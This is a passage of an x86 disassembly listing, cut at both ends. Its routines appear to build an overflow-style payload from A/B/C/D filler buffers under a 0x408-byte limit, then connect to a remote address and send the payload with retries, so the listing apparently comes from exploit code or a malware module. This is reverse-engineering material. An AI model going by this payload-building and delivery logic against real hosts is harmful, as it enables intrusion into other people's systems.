		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_13CE8B4:				; CODE XREF: sub_13CE840+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_13CE840	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE8E0	proc near		; CODE XREF: sub_13ABAB8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_13CE8F3
		push	eax
		call	free	; free
		add	esp, 4


loc_13CE8F3:				; CODE XREF: sub_13CE8E0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_13CE8E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE920	proc near		; CODE XREF: sub_13AB4A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_13CE937
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13CE937:				; CODE XREF: sub_13CE920+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	malloc	; malloc
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_13CE965
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_13CE965:				; CODE XREF: sub_13CE920+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_13CE994
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_13CE9AF
; ---------------------------------------------------------------------------


loc_13CE994:				; CODE XREF: sub_13CE920+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_13CE9AF:				; CODE XREF: sub_13CE920+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		call	free	; free
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_13CE920	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEA10	proc near		; CODE XREF: sub_13ABF68j

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F84
		lea	ecx, [esp+20h+var_8]
		call	sub_13AC5D5
		lea	ecx, [esp+20h+var_18]
		call	sub_13AB4A0
		mov	edx, [esp+20h+var_14]
		inc	edx
		push	edx
		call	malloc	; malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_13CEA55
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13CEA55:				; CODE XREF: sub_13CEA10+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_13ABAB8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_13ABAB8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_13CEA10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEAF0	proc near		; CODE XREF: sub_13AB6C6j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_13AC5D5
		mov	ecx, esi
		call	sub_13ABAB8
		mov	ecx, [esp+1Ch+var_18]
		mov	edx, [esp+1Ch+var_14]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_13CEAF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEB40	proc near		; CODE XREF: sub_13AC436j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_13AB6C6
		pop	edi
		pop	esi
		retn	4
sub_13CEB40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEB80	proc near		; CODE XREF: sub_13AB8FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_13AB6C6
		retn	8
sub_13CEB80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEBB0	proc near		; CODE XREF: sub_13ABBCBj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= byte ptr -8

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_13AB4A0
		test	al, al
		jnz	short loc_13CEBC4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_13CEBC4:				; CODE XREF: sub_13CEBB0+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BB4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_13AC5D5
		mov	ecx, esi
		call	sub_13ABAB8
		mov	edx, [esp+1Ch+var_18]
		mov	eax, [esp+1Ch+var_14]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_13CEBB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEC20	proc near		; CODE XREF: sub_13AC2ABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AB8FB
		test	al, al
		jnz	short loc_13CEC3C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_13CEC3C:				; CODE XREF: sub_13CEC20+16j
		mov	ecx, esi
		call	sub_13ABBCB
		pop	esi
		retn	8
sub_13CEC20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CEC60	proc near		; CODE XREF: sub_13ABFEAj

var_928		= byte ptr -928h
var_920		= dword	ptr -920h
var_91C		= dword	ptr -91Ch
var_914		= byte ptr -914h
var_910		= byte ptr -910h
var_90C		= dword	ptr -90Ch
var_908		= dword	ptr -908h
var_904		= dword	ptr -904h
var_900		= byte ptr -900h
var_8FC		= byte ptr -8FCh
var_8F8		= byte ptr -8F8h
var_8F4		= dword	ptr -8F4h
var_8F0		= dword	ptr -8F0h
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8DC		= byte ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D0		= dword	ptr -8D0h
var_8CC		= dword	ptr -8CCh
var_8C8		= byte ptr -8C8h
var_8C0		= byte ptr -8C0h
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_8A8		= dword	ptr -8A8h
var_8A4		= dword	ptr -8A4h
var_8A0		= dword	ptr -8A0h
var_89C		= dword	ptr -89Ch
var_898		= dword	ptr -898h
var_894		= dword	ptr -894h
var_890		= byte ptr -890h
var_888		= byte ptr -888h
var_884		= byte ptr -884h
var_880		= byte ptr -880h
var_878		= byte ptr -878h
var_870		= dword	ptr -870h
var_86C		= dword	ptr -86Ch
var_868		= byte ptr -868h
var_860		= byte ptr -860h
var_85C		= dword	ptr -85Ch
var_858		= byte ptr -858h
var_850		= byte ptr -850h
var_848		= byte ptr -848h
var_844		= byte ptr -844h
var_840		= byte ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= byte ptr -834h
var_830		= byte ptr -830h
var_82C		= byte ptr -82Ch
var_828		= byte ptr -828h
var_820		= byte ptr -820h
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_CC		= dword	ptr -0CCh
var_40		= dword	ptr -40h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_13AB6A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_13CF035
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_13CF035
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_840]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_810]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_848]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_820]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_828]
		call	sub_13AB6A8
		lea	ecx, [esp+864h+var_838]
		call	sub_13AB6A8
		push	4
		push	offset dword_444850
		lea	ecx, [esp+86Ch+var_830]
		call	sub_13AB6C6
		push	3
		push	offset dword_444858
		lea	ecx, [esp+874h+var_838]
		call	sub_13AB6C6
		lea	ecx, [esp+874h+var_840]
		call	sub_13ABF68
		lea	ecx, [esp+874h+var_840]
		call	sub_13ABBCB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+874h+var_810]
		push	8
		rep stosd
		push	offset dword_444844
		lea	ecx, [esp+87Ch+var_850]
		call	sub_13AB6C6
		mov	ecx, [esp+87Ch+var_8]
		push	ebx
		push	ecx
		lea	ecx, [esp+884h+var_858]
		call	sub_13AB6C6
		mov	ebx, [esp+884h+var_85C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+884h+var_820]
		push	edx
		push	eax
		lea	ecx, [esp+88Ch+var_860]
		call	sub_13AB6C6
		lea	ecx, [esp+88Ch+var_868]
		call	sub_13ABF68
		push	offset dword_444BD8
		lea	ecx, [esp+890h+var_838]
		call	sub_13AC436
		lea	ecx, [esp+890h+var_83C]
		call	sub_13ABF68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+890h+var_82C]
		push	410h
		rep stosd
		lea	ecx, [esp+894h+var_82C]
		push	ecx
		lea	ecx, [esp+898h+var_834]
		call	sub_13ABC34
		lea	ecx, [esp+898h+var_83C]
		call	sub_13ABF68
		mov	edx, [esp+898h+var_838]
		mov	eax, [esp+898h+var_83C]
		push	edx
		push	eax
		lea	ecx, [esp+8A0h+var_844]
		call	sub_13AC2AB
		lea	ecx, [esp+8A0h+var_844]
		call	sub_13ABAB8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+8A0h+var_83C]
		push	offset dword_444BD0
		rep stosd
		lea	ecx, [esp+8A4h+var_884]
		call	sub_13AC436
		push	4
		push	offset dword_44485C
		lea	ecx, [esp+8ACh+var_888]
		call	sub_13AB6C6
		mov	ecx, [esp+8ACh+var_40]
		push	esi
		push	ecx
		lea	ecx, [esp+8B4h+var_890]
		call	sub_13AB6C6
		mov	edx, 408h
		lea	eax, [esp+8B4h+var_850]
		sub	edx, esi
		lea	ecx, [esp+8B4h+var_898]
		push	edx
		push	eax
		call	sub_13AB6C6
		lea	ecx, [esp+8BCh+var_8A0]
		call	sub_13ABF68
		mov	ecx, [esp+8BCh+var_89C]
		mov	edx, [esp+8BCh+var_8A0]
		push	ecx
		push	edx
		lea	ecx, [esp+8C4h+var_878]
		call	sub_13AB8FB
		mov	eax, [esp+8C4h+var_86C]
		mov	ecx, [esp+8C4h+var_870]
		push	eax
		push	ecx
		lea	ecx, [esp+8CCh+var_880]
		call	sub_13AB8FB
		lea	ecx, [esp+8CCh+var_888]
		call	sub_13ABBCB
		lea	ecx, [esp+8CCh+var_8B0]
		call	sub_13ABAB8
		lea	ecx, [esp+8CCh+var_878]
		call	sub_13ABAB8
		mov	edx, [esp+8CCh+var_8A4]
		mov	eax, [esp+8CCh+var_8A8]
		push	edx
		push	eax
		lea	ecx, [esp+8D4h+var_890]
		call	sub_13AB8FB
		mov	ecx, [esp+8D4h+var_89C]
		mov	edx, [esp+8D4h+var_8A0]
		push	ecx
		push	edx
		lea	ecx, [esp+8DCh+var_898]
		call	sub_13AB8FB
		mov	eax, [esp+8DCh+var_894]
		mov	ecx, [esp+8DCh+var_898]
		push	eax
		push	ecx
		lea	ecx, [esp+8E4h+var_8A0]
		call	sub_13AB8FB
		lea	ecx, [esp+8E4h+var_8A8]
		call	sub_13ABBCB
		lea	ecx, [esp+8E4h+var_8C0]
		call	sub_13ABAB8
		lea	ecx, [esp+8E4h+var_8B0]
		call	sub_13ABAB8
		lea	ecx, [esp+8E4h+var_8A0]
		call	sub_13ABAB8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+8E4h+var_880]
		lea	edx, [esp+8E4h+var_880]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+8ECh+var_8B8]
		call	sub_13AB6C6
		lea	ecx, [esp+8ECh+var_8C0]
		call	sub_13ABF68
		push	2
		push	offset dword_444BCC
		lea	ecx, [esp+8F4h+var_8C0]
		call	sub_13AB6C6
		mov	eax, [esp+8F4h+var_8B4]
		mov	ecx, [esp+8F4h+var_8B8]
		push	eax
		push	ecx
		lea	ecx, [esp+8FCh+var_8C8]
		call	sub_13AB8FB
		lea	ecx, [esp+8FCh+var_8D0]
		call	sub_13ABBCB
		lea	ecx, [esp+8FCh+var_8C0]
		call	sub_13ABAB8
		lea	ecx, [esp+8FCh+var_8E8]
		call	sub_13AB6A8
		lea	ecx, [esp+8FCh+var_8F0]
		call	sub_13AB6A8
		mov	edx, [esp+8FCh+var_8CC]
		mov	eax, [esp+8FCh+var_8D0]
		push	edx
		push	eax
		lea	ecx, [esp+904h+var_8E8]
		call	sub_13AB8FB
		lea	ecx, [esp+904h+var_8F0]
		call	sub_13AB4A0
		lea	ecx, [esp+904h+var_8D8]
		call	sub_13ABAB8
		push	offset dword_444BC8
		lea	ecx, [esp+908h+var_8F8]
		call	sub_13AC436
		mov	ecx, [esp+908h+var_8F0]
		mov	edx, [esp+908h+var_8F4]
		push	ecx
		push	edx
		lea	ecx, [esp+910h+var_8FC]
		call	sub_13AB8FB
		lea	ecx, [esp+910h+var_904]
		call	sub_13AB4A0
		lea	ecx, [esp+910h+var_8FC]
		call	sub_13ABAB8
		push	offset dword_443EA0
		lea	ecx, [esp+914h+var_8FC]
		call	sub_13AC436
		mov	eax, [esp+914h+var_904]
		mov	ecx, [esp+914h+var_908]
		push	eax
		push	ecx
		lea	ecx, [esp+91Ch+var_900]
		call	sub_13AB8FB
		lea	ecx, [esp+91Ch+var_908]
		call	sub_13AB4A0
		lea	ecx, [esp+91Ch+var_910]
		call	sub_13ABAB8
		push	offset dword_444BBC
		lea	ecx, [esp+920h+var_910]
		call	sub_13AC436
		mov	edx, [esp+920h+var_908]
		mov	eax, [esp+920h+var_90C]
		push	edx
		push	eax
		lea	ecx, [esp+928h+var_914]
		call	sub_13AB8FB
		lea	ecx, [esp+928h+var_91C]
		call	sub_13AB4A0
		lea	ecx, [esp+928h+var_914]
		call	sub_13ABAB8
		push	offset dword_444BB8
		lea	ecx, [esp+92Ch+var_8DC]
		call	sub_13AC436
		mov	ecx, [esp+92Ch+var_91C]
		mov	edx, [esp+92Ch+var_920]
		push	ecx
		push	edx
		lea	ecx, [esp+934h+var_8E0]
		call	sub_13AB8FB
		lea	ecx, [esp+934h+var_928]
		call	sub_13ABAB8
		mov	eax, [esp+934h+var_CC]
		mov	ecx, [esp+934h+var_8E8]
		mov	edx, [esp+934h+var_8E4]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_13CF035:				; CODE XREF: sub_13CEC60+1Ej
					; sub_13CEC60+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_13CEC60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF160	proc near		; CODE XREF: sub_13ABEB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	select	; select
		cmp	eax, 1
		jz	short loc_13CF1C9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_13CF1C9:				; CODE XREF: sub_13CF160+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	near ptr 13E1380h
		test	eax, eax
		jnz	short loc_13CF1E0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_13CF1E0:				; CODE XREF: sub_13CF160+76j
		mov	edx, [esp+214h+arg_C]
		mov	eax, [esp+214h+arg_8]
		mov	ecx, [esp+214h+arg_4]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	recv	; recv
		pop	esi
		add	esp, 210h
		retn
sub_13CF160	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF240	proc near		; CODE XREF: sub_13AB6F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	htonl	; htonl
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, send
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx ; send
		cmp	eax, 4
		jz	short loc_13CF273
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CF273:				; CODE XREF: sub_13CF240+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx ; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_13CF240	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF2B0	proc near		; CODE XREF: sub_13AB6F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	malloc	; malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_13CF2E3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_13CF2E3:				; CODE XREF: sub_13CF2B0+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448EC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444864
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, ds:dword_44491C
		mov	[ebx+31h], eax
		mov	ecx, ds:dword_444920
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_102C2E8
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, ds:word_102C2EC
		push	esi
		mov	[eax+4], dx
		call	sub_13AB6F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_13CF388
		push	ebx
		call	free	; free
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_13CF388:				; CODE XREF: sub_13CF2B0+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_13ABEB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_13AB6F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_13CF3C3
		push	ebx
		call	free	; free
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_13CF3C3:				; CODE XREF: sub_13CF2B0+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_13ABEB4
		push	ebx
		call	free	; free
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_13CF2B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF440	proc near		; CODE XREF: sub_13ABC11j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset dword_444A90
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447561
		movsb
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset byte_447561
		call	sub_13ABBE4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, ds:dword_44769F
		push	eax
		push	ecx
		call	sub_13AC1F7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset dword_444BE4
		push	400h
		push	edx
		call	_snprintf	; _snprintf
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset dword_444928
		push	ecx
		call	sub_13ABFEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_13CF4E9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_13CF4E9:				; CODE XREF: sub_13CF440+9Bj
		mov	ebp, htons
		mov	[esp+428h+var_41C], edi


loc_13CF4F3:				; CODE XREF: sub_13CF440+158j
		test	edi, edi
		jnz	loc_13CF59E
		push	6
		push	1
		push	2
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13CF581
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp ; htons
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		call	inet_addr	; inet_addr
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		call	connect	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13CF576
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_13AB6F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_13CF576:				; CODE XREF: sub_13CF440+11Aj
		push	esi
		call	closesocket	; closesocket
		test	edi, edi
		jnz	short loc_13CF58C


loc_13CF581:				; CODE XREF: sub_13CF440+CCj
		push	3E8h
		call	Sleep	; Sleep


loc_13CF58C:				; CODE XREF: sub_13CF440+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_13CF4F3


loc_13CF59E:				; CODE XREF: sub_13CF440+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_13ABAB8
		test	edi, edi
		jz	short loc_13CF5CE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_13AB54F
		add	esp, 0BCh


loc_13CF5CE:				; CODE XREF: sub_13CF440+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_13CF440	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF650	proc near		; CODE XREF: sub_13AB7C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_13CF650	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CF690	proc near		; CODE XREF: sub_13ABB8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_13AB7C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
